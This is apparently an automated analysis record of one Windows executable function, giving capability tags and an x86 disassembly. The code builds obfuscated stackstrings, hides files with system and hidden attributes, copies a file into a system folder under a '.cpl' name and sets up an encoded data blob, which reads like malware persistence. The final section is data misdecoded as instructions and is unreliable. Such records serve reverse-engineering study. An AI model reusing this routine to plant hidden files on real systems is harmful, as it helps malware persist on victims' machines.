Function at 0x401050
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get program files directory
Parse pe header
Read file on windows

Disassembly:
sub esp, 0xb34
push ebx
push esi
push edi
call fcn.00402830
push 0x405104
call fcn.00401000
add esp, 4
lea eax, [esp + 0x3ec]
xor ebx, ebx
push 0x104
push eax
push ebx
call dword [0x40541c]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x3ec]
lea edx, [esp + 0x6f4]
push ecx
push edx
call esi
lea edi, [esp + 0x3ec]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x8fc]
repne scasb al, byte es:[edi]
not ecx
lea eax, [esp + 0x3ec]
dec ecx
sub eax, 4
mov byte [ecx + eax], bl
lea ecx, [esp + 0x3ec]
push ecx
push edx
call esi
lea eax, [esp + 0xa00]
lea ecx, [esp + 0x8fc]
push eax
push ecx
xor edi, edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x4010fc
test byte [esp + 0xa00], 0x10
je 0x4010f5
mov edi, 1
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x405100
call fcn.00401000
add esp, 4
cmp edi, ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
je 0x40119d
mov al, 0x72
lea edx, [esp + 0x50]
mov byte [esp + 0x55], al
mov byte [esp + 0x57], al
lea eax, [esp + 0x7f8]
push edx
push eax
mov byte [esp + 0x58], 0x65
mov byte [esp + 0x59], 0x78
mov byte [esp + 0x5a], 0x70
mov byte [esp + 0x5b], 0x6c
mov byte [esp + 0x5c], 0x6f
mov byte [esp + 0x5e], 0x65
mov byte [esp + 0x60], 0x20
mov byte [esp + 0x61], bl
call esi
lea ecx, [esp + 0x3ec]
lea edx, [esp + 0x7f8]
push ecx
push edx
call edi
lea eax, [esp + 0x7f8]
push 5
push eax
call dword [0x405408]
lea ecx, [esp + 0x3ec]
push ecx
call dword [0x4053f8]
cmp eax, 0xffffffff
je 0x40119d
or al, 6
lea edx, [esp + 0x3ec]
push eax
push edx
call dword [0x4053f4]
push 0x4050fc
call fcn.00401000
add esp, 4
lea eax, [esp + 0x5f0]
push ebx
push 0x26
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea ecx, [esp + 0x5f0]
lea edx, [esp + 0x3ec]
push ecx
push edx
call esi
lea eax, [esp + 0x5f0]
push eax
call fcn.00401000
add esp, 4
lea ecx, [esp + 0x5c]
lea edx, [esp + 0x3ec]
mov byte [esp + 0x5c], 0x5c
push ecx
push edx
mov byte [esp + 0x65], 0x73
mov byte [esp + 0x66], 0x79
mov byte [esp + 0x67], 0x73
mov byte [esp + 0x68], 0x6c
mov byte [esp + 0x69], 0x61
mov byte [esp + 0x6a], 0x73
mov byte [esp + 0x6b], 0x73
mov byte [esp + 0x6c], 0x2e
mov byte [esp + 0x6d], 0x63
mov byte [esp + 0x6e], 0x70
mov byte [esp + 0x6f], 0x6c
mov byte [esp + 0x70], bl
call edi
lea eax, [esp + 0x3ec]
push 0x80
push eax
call dword [0x4053f4]
push ebx
push ebx
push 3
push ebx
push ebx
lea ecx, [esp + 0x400]
push 0x80000000
push ecx
call dword [0x40540c]
mov esi, eax
cmp esi, 0xffffffff
je 0x401306
push 2
push ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea edx, [esp + 0x1d4]
push ebx
push edx
lea eax, [esp + 0x1b]
push 1
push eax
push esi
mov byte [esp + 0x27], bl
mov dword [esp + 0x1e8], 1
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [esp + 0x13], 0x15
jae 0x4012e8
lea ecx, [esp + 0x3ec]
push ecx
call dword [0x405444]
lea edx, [esp + 0x3ec]
push ebx
lea eax, [esp + 0x6f8]
push edx
push eax
call dword [0x405404]
lea ecx, [esp + 0x3ec]
push 7
push ecx
call dword [0x4053f4]
push str.dwVersion_CURRENT_VERSION
call fcn.00401000
add esp, 4
jmp 0x40131d
push 0x4050c4
call fcn.00401000
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0xb34
ret 0x10
lea edx, [esp + 0x3ec]
push ebx
lea eax, [esp + 0x6f8]
push edx
push eax
call dword [0x405404]
push str.__copy_over___
call fcn.00401000
mov ecx, 0x3e
xor eax, eax
lea edi, [esp + 0x4fc]
mov byte [esp + 0x4f4], 0x41
mov byte [esp + 0x4f5], 0x76
mov byte [esp + 0x4f6], 0x74
mov byte [esp + 0x4f7], 0x2d
mov byte [esp + 0x4f8], 0x4e
mov byte [esp + 0x4f9], 0x65
mov byte [esp + 0x4fa], 0x74
mov byte [esp + 0x4fb], bl
mov byte [esp + 0x20], 1
rep stosd dword es:[edi], eax
mov al, 0x58
mov cl, 0x51
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], bl
mov byte [esp + 0x1c], 2
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], bl
mov byte [esp + 0x18], 0x10
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], bl
mov byte [esp + 0x10c], bl
mov byte [esp + 0x10d], bl
mov byte [esp + 0x10e], bl
mov byte [esp + 0x10f], bl
mov byte [esp + 0x110], bl
mov byte [esp + 0x111], bl
mov byte [esp + 0x112], bl
mov byte [esp + 0x113], bl
mov byte [esp + 0x114], bl
mov byte [esp + 0x115], bl
mov byte [esp + 0x116], bl
mov byte [esp + 0x117], bl
mov byte [esp + 0x118], 1
mov byte [esp + 0x119], bl
mov byte [esp + 0x11a], bl
mov byte [esp + 0x11b], bl
mov byte [esp + 0x11c], bl
mov byte [esp + 0x11d], bl
mov byte [esp + 0x11e], bl
mov byte [esp + 0x11f], bl
mov byte [esp + 0x120], 2
mov byte [esp + 0x121], bl
mov byte [esp + 0x122], bl
mov byte [esp + 0x123], bl
mov byte [esp + 0x124], 0x60
mov byte [esp + 0x125], 0xea
mov byte [esp + 0x126], bl
mov byte [esp + 0x127], bl
mov byte [esp + 0x128], 0x60
mov byte [esp + 0x129], 0x1d
mov byte [esp + 0x12a], 0x44
mov byte [esp + 0x12b], 0x41
mov byte [esp + 0x12c], al
mov byte [esp + 0x12d], 0x48
mov byte [esp + 0x12e], 0x17
mov byte [esp + 0x12f], 0x57
mov byte [esp + 0x130], 0xb
mov byte [esp + 0x131], 0x10
mov byte [esp + 0x132], 0x47
mov byte [esp + 0x133], 0x59
mov byte [esp + 0x134], 0x48
mov byte [esp + 0x135], 0x41
mov byte [esp + 0x136], 0x41
mov byte [esp + 0x137], 0x1d
mov byte [esp + 0x138], 0x42
mov byte [esp + 0x139], 0x5a
mov byte [esp + 0x13a], 0x50
mov byte [esp + 0x13b], 0x41
mov byte [esp + 0x13c], 0x41
mov byte [esp + 0x13d], 0x5c
mov byte [esp + 0x13e], 0xd
mov byte [esp + 0x13f], 0x5d
mov byte [esp + 0x140], cl
mov dl, 0x12
mov byte [esp + 0x141], 0x54
mov byte [esp + 0x142], 0x5f
mov byte [esp + 0x143], 0x41
mov byte [esp + 0x144], 0x5d
mov byte [esp + 0x145], 0x1e
mov byte [esp + 0x146], 0x10
mov byte [esp + 0x147], 0x52
mov byte [esp + 0x148], 0x5f
mov byte [esp + 0x149], 0x54
mov byte [esp + 0x14a], 0x41
mov byte [esp + 0x14b], 0x42
mov byte [esp + 0x14c], 0x17
mov byte [esp + 0x14d], 0x42
mov byte [esp + 0x14e], 0x47
mov byte [esp + 0x14f], 0x50
mov byte [esp + 0x150], 0x4f
mov byte [esp + 0x151], 0xd
mov byte [esp + 0x152], 0x57
mov byte [esp + 0x153], al
mov byte [esp + 0x154], 0x63
mov byte [esp + 0x155], 0x5c
mov byte [esp + 0x156], 0x44
mov byte [esp + 0x157], 0x43
mov byte [esp + 0x158], 5
mov byte [esp + 0x159], dl
mov byte [esp + 0x15a], 8
mov byte [esp + 0x15b], 0x5c
mov byte [esp + 0x15c], 0x52
mov byte [esp + 0x15d], 0x48
mov byte [esp + 0x15e], 0x48
mov byte [esp + 0x15f], 0x13
mov byte [esp + 0x160], dl
mov byte [esp + 0x161], 0x1b
mov byte [esp + 0x162], 0x5f
mov byte [esp + 0x163], 0x5d
mov byte [esp + 0x164], 0x5f
mov byte [esp + 0x165], 0x48
mov byte [esp + 0x166], 2
mov byte [esp + 0x167], 0x46
mov byte [esp + 0x168], 0x1d
mov byte [esp + 0x169], 0x54
mov byte [esp + 0x16a], 0x13
mov byte [esp + 0x16b], 0x45
mov byte [esp + 0x16c], 0x42
mov byte [esp + 0x16d], 0x41
mov byte [esp + 0x16e], 0x46
mov byte [esp + 0x16f], 0x10
mov byte [esp + 0x170], 0x59
mov byte [esp + 0x171], 0x40
mov byte [esp + 0x172], 0x11
mov byte [esp + 0x173], 0x4e
mov byte [esp + 0x174], 0xe
mov byte [esp + 0x175], 0x5f
mov byte [esp + 0x176], 8
mov byte [esp + 0x177], 0x45
mov byte [esp + 0x178], 0x47
mov byte [esp + 0x179], 0x54
mov byte [esp + 0x17a], 0x5f
mov byte [esp + 0x17b], 0x4f
mov byte [esp + 0x17c], dl
mov byte [esp + 0x17d], 0x31
mov byte [esp + 0x17e], 0x56
mov byte [esp + 0x17f], 0x13
mov byte [esp + 0x180], 0x45
mov byte [esp + 0x181], 0x45
mov byte [esp + 0x182], 8
mov byte [esp + 0x183], 0x41
mov byte [esp + 0x184], al
mov byte [esp + 0x185], 0x43
mov byte [esp + 0x186], 0x56
mov byte [esp + 0x187], 0x43
mov byte [esp + 0x188], 0x5b
mov byte [esp + 0x189], 8
mov byte [esp + 0x18a], cl
mov byte [esp + 0x18b], 0x1d
mov byte [esp + 0x18c], 0x10
mov byte [esp + 0x18d], 0x5a
mov byte [esp + 0x18e], 0x42
mov byte [esp + 0x18f], 0xd
mov byte [esp + 0x190], dl
mov byte [esp + 0x191], 0x46
mov byte [esp + 0x192], 0x17
mov byte [esp + 0x193], 0x40
mov byte [esp + 0x194], 0x43
mov byte [esp + 0x195], 0x54
mov byte [esp + 0x196], 0x49
mov byte [esp + 0x197], 0x4d
mov byte [esp + 0x198], dl
mov byte [esp + 0x199], 0x19
mov byte [esp + 0x19a], 0x5e
mov byte [eax + 0x800038b], 0x6b
rol byte [esp + 0x1001dd], cl
shl dh, 1
test byte [esi], ah
popfd
xor dword [eax - 0x7b39a1f8], eax
and al, 0x9e
add dword [eax], eax
add byte [esi + eax*8], al
and al, 0x9f
add eax, 0xc6400008
test byte [eax], ah
adc dword [eax], esp
adc cl, byte [esi]
mov ah, 0x14
mov eax, dword [0x59000141]
mov byte [ebp + 0x40001a2], 0x40
salc
mov word [ebx + eax*4], fs
inc ecx
add al, 0x20
push esp
mov byte [esp + 0x180000ac], 0x5e
out 0x85, al
and al, 0xa5
or dword [eax], eax
add byte [ecx - 0x3a], al
xchg esp, eax
and al, 0xa6
add dword [eax], eax
and cl, byte [edi - 0x3a]
xchg esp, eax
and al, 0xa7
or dword [eax], eax
add byte [eax], dl
mov byte [esi + 0x118824], cl
xor dh, 0x80
mov byte [0x1a9], al
inc edi
mov byte [esp + 0xc0021aa], 0x31
xchg sp, ax
and byte [ebx - 0x37ffe7ff], ch
xchg dword [esp + esi*8 + 0x80001ac], eax
cmp esi, eax
test byte [edi + ebp*4], ah
or dword [eax], eax
or byte [edx - 0x3a], al
test byte [esi + ebp*8], bh
add dword [edx], ecx
add byte [esi + eax*8 - 0x74], dl
and al, 0xaf
add dword [eax], eax
add byte [ecx - 0x3a], bl
xchg esp, eax
and al, 0xa0
or dword [eax], eax
add byte [eax - 0x78], bl
xchg byte [esi*4 - 0x39ffbfff], ch
test byte [0x101b6], ah
pop eax
invalid